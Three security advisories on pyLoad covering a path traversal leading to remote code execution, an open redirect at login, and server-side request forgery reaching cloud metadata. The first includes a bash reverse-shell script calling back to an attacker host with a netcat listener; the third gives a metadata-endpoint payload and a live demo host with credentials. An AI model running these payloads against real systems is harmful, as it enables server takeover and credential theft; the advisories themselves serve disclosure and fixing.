Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::addpackage::L432
python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "") .replace("\\", "") )
So if a package were created with the name "../" the application would instead create the folder "/downloads/../"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/jsonblueprint.py::editpackage::L195
python id = int(flask.request.form["packid"]) data = { "name": flask.request.form["packname"], "folder": flask.request.form["packfolder"], "password": flask.request.form["packpws"], }
api.setpackagedata(id, data)
Steps to reproduce
1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/downloadfinished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/downloadfinished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
1. Start a web server hosting a malicious script
bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attackerip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80
2. Start netcat listener for reverse shells
bash nc -vklp 9999
On pyLoad
1. Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
2. Create a package with link pointing to the attacker
http://<attackerip>/evil.sh
3. Edit package and change folder to /config/scripts/packagedeleted/
4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
5. Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Summary Open redirect vulnerability due to incorrect validation of input values when redirecting users after login.
Details pyload is validating URLs via the getredirecturl function when redirecting users at login. !301715649-f533db41-d0bd-44f7-8735-be1887fbd06c
The URL entered in the next variable goes through the issafeurl function, where a lack of validation can redirect the user to an arbitrary domain. !301715667-2819b1d3-8a14-42f4-89c8-3d2fa84fc309
The documentation in the urllib library shows that improper URLs are recognized as relative paths when using the urlparse function. (https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlparse)
For example, When an unusual URL like https:///example.com is entered, urlparse interprets it as a relative path, but in the actual request it is converted to https://example.com due to url normalization.
PoC 1. In the next variable, insert the URL to which you want to redirect the user. !301715949-bb1451eb-5e84-451d-83b4-5c3e204d1df7
2. Check that it is possible to bypass url validation and redirect users to an arbitrary url. !301715824-3de6584a-878d-4ec4-a3d5-a34d11c6c0ac !301716107-ba5ab7b9-7aa8-4b7a-8924-eba82442b4c3
Impact An attacker can use this vulnerability to redirect users to malicious websites, which can be used for phishing and similar attacks.
Summary
PyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.
Details
The vulnerability exists in PyLoad's download package functionality (/api/addPackage endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in src/pyload/webui/app/blueprints/apiblueprint.py:
python @bp.route("/addPackage", methods=["POST"], endpoint="addpackage") @loginrequired def addpackage(): name = flask.request.form["addname"] links = flask.request.form["addlinks"].split("\n") # ... validation omitted ... api.addpackage(name, links, dest) # No URL validation
The download engine in src/pyload/core/managers/download.py accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.
Proof of Concept
Live Demo Instance: http://143.244.141.81:8000 Credentials: pyload / pyload
- Login into the pyload application - Navigate to package tab and enter the package name and fill the Link section with the following URL
http://169.254.169.254/metadata/v1.json
<img width="1851" height="786" alt="image" src="https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e" />
- Now navigate to Files section and download the link.
<img width="1429" height="870" alt="image" src="https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6" />
- It was observed that we are able to Read the Digital Ocean Metadata
<img width="1872" height="837" alt="image" src="https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831" />
The downloaded v1.json file contains sensitive cloud infrastructure data: - Droplet ID: Unique identifier for the instance - Network Configuration: Public/private IP addresses, VPC topology - Authentication Keys: Cloud provider auth tokens - SSH Keys: Public keys configured in droplet metadata - Region and Datacenter: Infrastructure location
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS Score: 7.7 - 9.1 (High to Critical, depending on cloud deployment)
Affected Systems - All PyLoad installations (version 0.5.0 and potentially earlier) - Critical Impact on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains: - IAM credentials (AWS) - SSH private keys (configured in user-data) - API tokens and secrets - Database credentials stored in cloud-init
Attack Requirements - Valid PyLoad user account (any role - ADMIN or USER) - Network connectivity to PyLoad instance
Security Impact 1. Cloud Metadata Theft: Complete exfiltration of instance metadata 2. Lateral Movement: Discovery and enumeration of internal network services 3. Credential Exposure: Theft of cloud IAM credentials, SSH keys, API tokens 4. Infrastructure Mapping: Network topology, IP addressing, service discovery
Remediation
Implement URL validation in the download engine: 1. Whitelist allowed URL schemes (http/https only) 2. Block requests to private IP ranges (RFC 1918, link-local addresses) 3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.) 4. Implement request destination validation before initiating downloads